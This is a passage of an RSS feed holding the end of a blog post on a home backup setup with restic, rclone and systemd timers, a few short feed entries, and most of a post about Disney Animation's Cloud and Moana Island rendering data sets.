&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;+---|----+&lt;/span&gt;     &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                      &lt;span style="color: #f92672;"&gt;+-------------+&lt;/span&gt;         
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;        &lt;span style="color: #f92672;"&gt;|&lt;/span&gt; restic   &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;        V          &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                                              
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;+-------+&lt;/span&gt;      &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    rclone           &lt;span style="color: #f92672;"&gt;+-----------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;Local  &lt;span style="color: #f92672;"&gt;|---------------------------&amp;gt;|&lt;/span&gt; Remote Backup         &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;Backup &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;      &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                     &lt;span style="color: #f92672;"&gt;|&lt;/span&gt; (Google Cloud Storage)&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;|&lt;/span&gt;    &lt;span style="color: #f92672;"&gt;+-------+&lt;/span&gt;      &lt;span style="color: #f92672;"&gt;|&lt;/span&gt;                     &lt;span style="color: #f92672;"&gt;+-----------------------+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;+-------------------+&lt;/span&gt;                                              
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As illustrated in the figure above, the process for backing up then is as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Initialize a restic repository on a separate hard drive from your primary hard drives&lt;/li&gt;
&lt;li&gt;(Optional) Since our Internet service is slow, I copied the local backup to a portable hard drive, took that to a place that has much better bandwidth, and seeded the remote backup from there.&lt;/li&gt;
&lt;li&gt;Using a &lt;code&gt;systemd&lt;/code&gt;&lt;sup id="fnref:14"&gt;&lt;a class="footnote-ref" href="#fn:14"&gt;14&lt;/a&gt;&lt;/sup&gt; timer&lt;sup id="fnref:15"&gt;&lt;a class="footnote-ref" href="#fn:15"&gt;15&lt;/a&gt;&lt;/sup&gt;, perform the following steps nightly:
&lt;ol&gt;
&lt;li&gt;Backup online services as needed&lt;/li&gt;
&lt;li&gt;Backup local files to the local, second backup&lt;/li&gt;
&lt;li&gt;Sync local backup to the cloud storage service&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Using a &lt;code&gt;systemd&lt;/code&gt;&lt;sup id="fnref1:14"&gt;&lt;a class="footnote-ref" href="#fn:14"&gt;14&lt;/a&gt;&lt;/sup&gt; timer&lt;sup id="fnref1:15"&gt;&lt;a class="footnote-ref" href="#fn:15"&gt;15&lt;/a&gt;&lt;/sup&gt;, perform the following steps on a weekly (or maybe monthly) basis:
&lt;ol&gt;
&lt;li&gt;Perform a full backup of online services (for example, a full Gmvault run instead of a quick run)
&lt;ul&gt;
&lt;li&gt;De-duplicate as necessary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Backup local files to the local, second backup&lt;/li&gt;
&lt;li&gt;Sync local backup to the cloud storage service using rclone or something similar&lt;/li&gt;
&lt;li&gt;Perform health check of backups to ensure data is recoverable&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Every once in a while, perform a partial or full restore of your data. This should also be done when you first begin using a backup system. This ensures that you understand the process of recovering data when you may be in a stressful state of mind, and tests the integrity of the backups. A backup that isn&amp;rsquo;t tested isn&amp;rsquo;t a backup at all.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="the-code"&gt;The Code&lt;/h2&gt;
&lt;p&gt;The following files are the templates for what I currently use. This was heavily inspired and built off of Erik Westrup&amp;rsquo;s&lt;sup id="fnref:16"&gt;&lt;a class="footnote-ref" href="#fn:16"&gt;16&lt;/a&gt;&lt;/sup&gt; &lt;code&gt;restic-systemd-automatic-backup&lt;/code&gt;&lt;sup id="fnref:17"&gt;&lt;a class="footnote-ref" href="#fn:17"&gt;17&lt;/a&gt;&lt;/sup&gt; GitHub project. There are two services, &lt;code&gt;nightly-backup&lt;/code&gt; and &lt;code&gt;weekly-backup&lt;/code&gt; that perform the steps outlined above. Each of those have two timers, which run the services nightly and weekly respectively, or in other words &lt;code&gt;nightly-backup&lt;/code&gt; runs every night except for nights when &lt;code&gt;weekly-backup&lt;/code&gt; runs. The services run Gmvault and rclone directly, while there are two scripts used when running restic. These files, &lt;code&gt;restic_backup.sh&lt;/code&gt; and &lt;code&gt;restic_check.sh&lt;/code&gt; run the backups, pruning, and checking as necessary. Finally, there are three auxiliary files &lt;code&gt;exclude.txt&lt;/code&gt;, &lt;code&gt;restic_env.sh&lt;/code&gt; , &lt;code&gt;restic_pw.txt&lt;/code&gt; which each of the restic scripts source to determine what files to exclude in the backup, what parameters to use when running restic (namely, the location of the local repo and the password file), and the password used to encrypt the backup.&lt;/p&gt;
&lt;p&gt;All of these can be found in my personal project here: &lt;a href="https://github.com/seanlane/restic-systemd-automatic-backup"&gt;GitHub - seanlane - restic-systemd-automatic-backup&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve been using these backups in their current form for a bit more than a week, and everything has been working great. The restore process from both backups has been flawless, every night a new snapshot is taken and then restic takes care of de-duplicating and pruning the snapshots according to my settings in &lt;code&gt;restic_env.sh&lt;/code&gt;. I hope this post might be help to anyone looking to securely preserve their digital belongings on a budget.&lt;/p&gt;
&lt;div class="footnotes"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="https://www.backblaze.com/blog/the-3-2-1-backup-strategy/"&gt;BackBlaze Blog: 3-2-1 Backup Strategy&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:1"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;&lt;a href="https://restic.net/"&gt;Restic Home Page&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:2"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;&lt;a href="https://www.duplicati.com/"&gt;Duplicati Home Page&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:3"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;&lt;a href="https://forum.duplicati.com/t/how-long-should-a-repair-of-a-database-take/1357/3"&gt;Duplicati Forum: How long should a repair of a database take?&lt;/a&gt; &lt;!-- raw HTML omitted --&gt; &lt;a href="https://forum.duplicati.com/t/repair-fails-database-recreate-takes-a-ridiculously-long-time/1799/7"&gt;Repair fails, database recreate takes a ridiculously long time&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:4"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:5"&gt;
&lt;p&gt;&lt;a href="https://github.com/restic/restic/issues/21"&gt;GitHub - Restic: Issue #21&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:5"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:6"&gt;
&lt;p&gt;&lt;a href="https://cloud.google.com/free/docs/frequently-asked-questions#free-trial"&gt;Google Cloud Free Trial&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:6"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:7"&gt;
&lt;p&gt;&lt;a href="http://restic.readthedocs.io/en/latest/030_preparing_a_new_repo.html#google-cloud-storage"&gt;Restic: Backup to GCS&lt;/a&gt; &lt;!-- raw HTML omitted --&gt; &lt;a href="https://duplicati.readthedocs.io/en/latest/05-storage-providers/#google-cloud-storage"&gt;Duplicati: Google Cloud Storage&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:7"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:8"&gt;
&lt;p&gt;&lt;a href="https://minio.io/"&gt;Minio: Private Cloud Storage&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:8"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:9"&gt;
&lt;p&gt;&lt;a href="https://rclone.org/"&gt;Rclone: Rsync for storage&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:9"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:10"&gt;
&lt;p&gt;&lt;a href="http://investingchannel.com/article/433394/One-Statistics-Professor-Was-Just-Banned-By-Google-Here-Is-His-Story"&gt;One Statistics Professor Was Just Banned By Google: Here Is His Story&lt;/a&gt; &lt;!-- raw HTML omitted --&gt; &lt;a href="https://ehsanakhgari.org/blog/2012-04-13/how-i-lost-access-my-google-account-today"&gt;How I lost access to my Google account today&lt;/a&gt; &lt;!-- raw HTML omitted --&gt; &lt;a href="https://alexaobrien.com/archives/3647"&gt;Update No. 4: My @YouTube account was suspended for uploaded/embedded portions of AQ vids used for analysis for U.S. v Pfc. Manning. It appears my Google account is also slated for deletion.&lt;/a&gt; &lt;!-- raw HTML omitted --&gt; &lt;a href="https://techcrunch.com/2017/12/22/that-time-i-got-locked-out-of-my-google-account-for-a-month/"&gt;That time I got locked out of my Google account for a month&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:10"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:11"&gt;
&lt;p&gt;&lt;a href="http://gmvault.org/"&gt;Gmvault&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:11"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:12"&gt;
&lt;p&gt;&lt;a href="https://takeout.google.com/"&gt;Google Takeout&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:12"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:13"&gt;
&lt;p&gt;&lt;a href="https://www.facebook.com/help/1701730696756992?helpref=hc_global_nav"&gt;Facebook: Accessing &amp;amp; Downloading Your Information&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:13"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:14"&gt;
&lt;p&gt;&lt;a href="https://wiki.archlinux.org/index.php/systemd"&gt;Arch Linux Wiki: Systemd&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:14"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref1:14"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:15"&gt;
&lt;p&gt;&lt;a href="https://wiki.archlinux.org/index.php/Systemd/Timers"&gt;Arch Linux Wiki: systemd/Timers&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:15"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref1:15"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:16"&gt;
&lt;p&gt;&lt;a href="https://github.com/erikw"&gt;GitHub: Erik Westrup&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:16"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:17"&gt;
&lt;p&gt;&lt;a href="https://github.com/erikw/restic-systemd-automatic-backup"&gt;GitHub: restic-systemd-automatic-backup&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:17"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><author>Posts on Sean Lane</author><pubDate>Wed, 04 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://sean.lane.sh/posts/2018/07/Home-backup-strategy/</guid></item><item><title>Ocean's Eleven</title><link>https://olshansky.info/movie/oceans_eleven/</link><description>Olshansky's review of Ocean's Eleven</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 04 Jul 2018 00:54:16 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/oceans_eleven/</guid></item><item><title>Side effects of Public Administrations using WhatsApp</title><link>https://stop.zona-m.net/2018/07/side-effects-of-public-administrations-using-whatsapp/</link><description>&lt;p&gt;Or any other similar service, actually. Here is just one small example from Mumbai.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 03 Jul 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/side-effects-of-public-administrations-using-whatsapp/</guid></item><item><title>Links - July 3, 2018</title><link>https://faingezicht.com/links/2018/07/03/links/</link><description>We've had a linkless nearly two months on the blog, so here are 35 links to make up for it - hopefully they're not _too_ overwhelming.</description><author>Avy Faingezicht</author><pubDate>Tue, 03 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2018/07/03/links/</guid></item><item><title>Disney Animation Data Sets</title><link>https://blog.yiningkarlli.com/2018/07/disney-animation-datasets.html</link><description>&lt;p&gt;Today at &lt;a href="https://cg.ivd.kit.edu/egsr18/"&gt;EGSR 2018&lt;/a&gt;, Walt Disney Animation Studios announced the release of two large, production quality/scale data sets for rendering research purposes.
The data sets are available on a new &lt;a href="https://disneyanimation.com/data-sets/"&gt;data sets page on the official Disney Animation website&lt;/a&gt;.
The first data set is the Cloud Data Set, which contains a large and highly detailed volumetric cloud data set that we used for our “&lt;a href="https://blog.yiningkarlli.com/2017/07/spectral-and-decomposition-tracking.html"&gt;Spectral and Decomposition Tracking for Rendering Heterogeneous Volumes&lt;/a&gt;” SIGGRAPH 2017 paper, and the second data set is the Moana Island Scene, which is a full production scene from &lt;a href="https://blog.yiningkarlli.com/2016/11/moana.html"&gt;&lt;em&gt;Moana&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/shotCam_hyperion.png"&gt;&lt;img alt="Figure 1: The Moana Island Data Set, rendered using Disney's Hyperion Renderer." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/shotCam_hyperion.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/wdas_cloud_hyperion_render.png"&gt;&lt;img alt="Figure 2: The Cloud Data Set, rendered using Disney's Hyperion Renderer." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/wdas_cloud_hyperion_render.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this post, I’ll share some personal thoughts, observations, and notes.
The release of these data sets was announced by my teammate, Ralf Habel, at EGSR today, but this release has been in the works for a very long time now, and is the product of the collective effort of an enormous number of people across the studio.
A number of people deserve to be highlighted: Rasmus Tamstorf spearheaded the entire effort and was instrumental in getting the resources and legal approval needed for the Moana Island Scene.
Heather Pritchett is the TD that did the actual difficult work of extracting the Moana Island Scene out of Disney Animation’s production pipeline and converting it from proprietary data formats into usable, industry-standard data formats.
Sean Palmer and Jonathan Garcia also helped in resurrecting the data from &lt;em&gt;Moana&lt;/em&gt;.
Hyperion developers Ralf Habel and Peter Kutz led the effort to get the Cloud Data Set approved and released; the cloud itself was made by artists Henrik Falt and Alex Nijmeh.
On the management side of things, technology manager Rajesh Sharma and Disney Animation CTO, &lt;a href="https://twitter.com/ncannon?lang=en"&gt;Nick Cannon&lt;/a&gt;, provided crucial support and encouragement.
Matt Pharr has been crucial in collaborating with us to get these data sets released.
Matt was highly accommodating in helping us get the Moana Island Scene into a PBRT scene; I’ll talk a bit more about this later.
Intel’s Embree team also gave significant feedback.
My role was actually quite small; along with other members of the Hyperion development team, I just provided some consultation throughout the whole process.&lt;/p&gt;

&lt;p&gt;Please note the licenses that the data sets come with.
The Cloud Data Set is licensed under a &lt;a href="https://disney-animation.s3.amazonaws.com/uploads/production/data_set_asset/6/asset/License_Cloud.pdf"&gt;Creative Commons Attribution ShareAlike 3.0 Unported License&lt;/a&gt;; the actual cloud is based on a photograph by Kevin Udy on his &lt;a href="https://coclouds.com/436/cumulus/%202012-07-26/"&gt;Colorado Clouds Blog&lt;/a&gt;, which is also licensed under the same Creative Commons license.
The Moana Island Scene is licensed under a more restrictive, custom Disney Enterprises &lt;a href="https://disney-animation.s3.amazonaws.com/uploads/production/data_set_asset/4/asset/License_Moana.pdf"&gt;research license&lt;/a&gt;.
This is because the Moana Island Scene is a true production scene; it was actually used to produce actual frames in the final film.
As such, the data set is being released only for pure research and development purposes; it’s not meant for use in artistic projects.
Please stick to and follow the licenses these data sets are released under; if people end up misusing these data sets, then it makes releasing more data sets into the community in the future much harder for us.&lt;/p&gt;

&lt;p&gt;This entire effort was sparked two years ago at SIGGRAPH 2016, when Matt Pharr made an appeal to the industry to provide representative production-scale data sets to the research community.
I don’t know how many times I’ve had conversations about how well new techniques or papers or technologies will scale to production cases, only to have further discussion stymied by the lack of any true production data sets that the research community can test against.
We decided as a studio to answer Matt’s appeal, and last year at SIGGRAPH 2017, Brent Burley and Rasmus Tamstorf announced our intention to release both the Cloud and Moana Island data sets.
It’s taken nearly a year from announcement to release because the process has been complex, and it was very important to the studio to make sure the release was done properly.&lt;/p&gt;

&lt;p&gt;One of the biggest challenges was getting all of the data out of the production pipeline and our various proprietary data formats into something that the research community can actually parse and make use of.
Matt Pharr was extremely helpful here; over the past year, Matt has added support for &lt;a href="http://ptex.us"&gt;Ptex&lt;/a&gt; textures and implemented the &lt;a href="http://blog.selfshadow.com/publications/s2015-shading-course/burley/s2015_pbs_disney_bsdf_notes.pdf"&gt;Disney Bsdf&lt;/a&gt; in &lt;a href="https://github.com/mmp/pbrt-v3"&gt;PBRT v3&lt;/a&gt;.
Having Ptex and the Disney Bsdf available in PBRT v3 made PBRT v3 the natural target for an initial port to a renderer other than Hyperion, since internally all of Hyperion’s shading uses the Disney Bsdf, and all of our texturing is done through Ptex.
Our texturing also relies heavily on procedural &lt;a href="https://www.disneyanimation.com/technology/seexpr.html"&gt;SeExpr&lt;/a&gt; expressions; all of the expression-drive texturing had to be baked down into Ptex for the final release.&lt;/p&gt;

&lt;p&gt;Both the Cloud and Moana Island data sets are, quite frankly, enormous.
The Cloud data set contains a single OpenVDB cloud that weighs in at 2.93 GB; the data set also provides versions of the VDB file scaled down to half, quarter, eighth, and sixteenth scale resolutions.
The Moana Island data set comes in three parts: a base package containing raw geometry and texture data, an animation package containing animated stuff, and a PBRT package containing a PBRT scene generated from the base package.
These three packages combined, uncompressed, weigh in at well over 200 GB of disk space; the uncompressed PBRT package along weighs in at around 38 GB.&lt;/p&gt;

&lt;p&gt;For the Moana Island Scene, the provided PBRT scene requires a minimum of around 90 GB if RAM to render.
This many seem enormous for consumer machines, because it is.
However, this is also what we mean by “production scale”; for Disney Animation, 90 GB is actually a fairly mid-range memory footprint for a production render.
On a 24-core, dual-socket Intel Xeon Gold 6136 system, the PBRT scene took me a little over an hour and 15 minutes to render from the ‘shotCam’ camera.
Hyperion renders the scene faster, but I would caution against using this data set to do performance shootouts between different renders.
I’m certain that within a short period of time, enthusiastic members of the rendering community will end up porting this scene to Renderman and Arnold and Vray and Cycles and every other production renderer out there, which will be very cool!
But keep in mind, this data set was authored very specifically around Hyperion’s various capabilities and constraints, which naturally will be very different from how one might author a complex data set for other renderers.
Every renderer works a bit differently, so the most optimal way to author a data set for every renderer will be a bit different; this data set is no exception.
So if you want to compare renderers using this data set, make sure you understand the various ways how the way this data set is structured impacts the performance of whatever renderers you are comparing.&lt;/p&gt;

&lt;p&gt;For example, Hyperion subdivides/tessellates/displaces everything to as close to sub-poly-per-pixel as it can get while still fitting within computational resources.
This means our scenes are usually very heavily subdivided and tessellated.
However, the PBRT version of the scene doesn’t come with any subdivision; as a result, silhouettes in the following comparison images don’t fully match in some areas.
Similarly, PBRT’s lights and lighting model differ from Hyperion’s, and Hyperion has various artistic controls that are unique to Hyperion, meaning the renders produced by PBRT versus Hyperion differ in many ways:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/shotCam_hyperion.png"&gt;&lt;img alt="Figure 3a: 'shotCam' camera angle, rendered using Disney's Hyperion Renderer." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/shotCam_hyperion.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/shotCam_pbrt.png"&gt;&lt;img alt="Figure 3b: 'shotCam' camera angle, rendered using PBRT v3." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/shotCam_pbrt.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/beachCam_hyperion.png"&gt;&lt;img alt="Figure 4a: 'beachCam' camera angle, rendered using Disney's Hyperion Renderer." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/beachCam_hyperion.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/beachCam_pbrt.png"&gt;&lt;img alt="Figure 4b: 'beachCam' camera angle, rendered using PBRT v3." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/beachCam_pbrt.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/dunesACam_hyperion.png"&gt;&lt;img alt="Figure 5a: 'dunesACam' camera angle, rendered using Disney's Hyperion Renderer." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/dunesACam_hyperion.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/dunesACam_pbrt.png"&gt;&lt;img alt="Figure 5b: 'dunesACam' camera angle, rendered using PBRT v3. Some of the plants are in slightly different locations than the Hyperion render; this was just a small change that happened in data conversion to the PBRT scene." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/dunesACam_pbrt.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/flowersCam_hyperion.png"&gt;&lt;img alt="Figure 6a: 'flowersCam' camera angle, rendered using Disney's Hyperion Renderer." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/flowersCam_hyperion.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/flowersCam_pbrt.png"&gt;&lt;img alt="Figure 6b: 'flowersCam' camera angle, rendered using PBRT v3. Note that the silhouette of the flowers is different compared to the Hyperion render because the Hyperion render subdivides the flowers, whereas the PBRT render displays the base cage." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/flowersCam_pbrt.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/grassCam_hyperion.png"&gt;&lt;img alt="Figure 7a: 'grassCam' camera angle, rendered using Disney's Hyperion Renderer." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/grassCam_hyperion.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/grassCam_pbrt.png"&gt;&lt;img alt="Figure 7b: 'grassCam' camera angle, rendered using PBRT v3. The sand dune in the background looks particularly different from the Hyperion render due to subdivision and displacement." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/grassCam_pbrt.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/palmsCam_hyperion.png"&gt;&lt;img alt="Figure 8a: 'palmsCam' camera angle, rendered using Disney's Hyperion Renderer." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/palmsCam_hyperion.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/palmsCam_pbrt.png"&gt;&lt;img alt="Figure 8b: 'palmsCam' camera angle, rendered using PBRT v3. The palm leaves look especially different due to differences in artistic lighting shaping and curve shading differences. Most notably, the look in Hyperion depends heavily on attributes that vary along the length of the curve, which is something PBRT doesn't support yet. Some more work is needed here to get the palm leaves to look more similar between the two renders." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/palmsCam_pbrt.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/rootsCam_hyperion.png"&gt;&lt;img alt="Figure 9a: 'rootsCam' camera angle, rendered using Disney's Hyperion Renderer." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/rootsCam_hyperion.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2018/Jul/rootsCam_pbrt.png"&gt;&lt;img alt="Figure 9b: 'rootsCam' camera angle, rendered using PBRT v3. Again, the significant difference in appearance in the rocks is probably just due to subdivision/tesselation/displacement." src="https://blog.yiningkarlli.com/content/images/2018/Jul/preview/rootsCam_pbrt.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Another example of a major difference between the Hyperion renders and the PBRT renders is in the water, which Hyperion renders using photon mapping to get the caustics.
The provided PBRT scenes use unidirectional pathtracing for everything including the water, hence the very different caustics.
Similarly, the palm trees in the ‘palmsCam’ camera angle look very different between PBRT and Hyperion because Hyperion’s lighting controls are very different from PBRT; Hyperion’s lights include various artistic controls for custom shaping and whatnot, which aren’t necessarily fully physical.
Also, the palm leaves are modeled using curves, and the shading depends on varying colors and attributes along the length and width of the curve, which PBRT doesn’t support yet (getting the palm leaves converted to meshes is actually the top priority for if more resources are freed up to improve the data set release).
These difference between renderers don’t necessarily mean that one renderer is better than the other; they simply mean that the renderers are different.
This will be true for any pair of renderers that one wants to compare.&lt;/p&gt;

&lt;p&gt;The Cloud Data Set includes an example render from Hyperion, which implements our Spectral and Decomposition Tracking paper in its volumetric rendering system to efficiently render the cloud with thousands of bounces.
This render contains no post-processing; what you see in the provided image is exactly what Hyperion outputs.
The VDB file expresses the cloud as a field of heterogeneous densities.
Also provided is an example &lt;a href="https://www.mitsuba-renderer.org"&gt;Mitsuba&lt;/a&gt; scene, renderable using the &lt;a href="https://github.com/zhoub/mitsuba-vdb"&gt;Mitsuba-VDB plugin that can be found on Github&lt;/a&gt;.
Please consult the README file for some modifications in Mitsuba that are necessary to render the cloud.
Also, please note that the Mitsuba example will take an extremely long time to render, since Mitsuba isn’t really meant to render high-albedo heterogeneous volumes.
With proper acceleration structures and algorithms, rendering the cloud only takes us a few minutes using Hyperion, and should be similarly fast in any modern production renderer.&lt;/p&gt;

&lt;p&gt;One might wonder just why production data sets in general are so large.
This is an interesting question; the short answer across the industry basically boils down to “artist time is more expensive and valuable than computer hardware”.
We could get these scenes to fit into much smaller footprints if we were willing to make our artists spend a lot of time aggressively optimizing assets and scenes and whatnot so that we could fit these scenes into smaller disk, memory, and compute footprints.
However, this isn’t actually always a good use of artist time; computer hardware is cheap compared to wasting artist time, which often could be better spent elsewhere making the movie better.
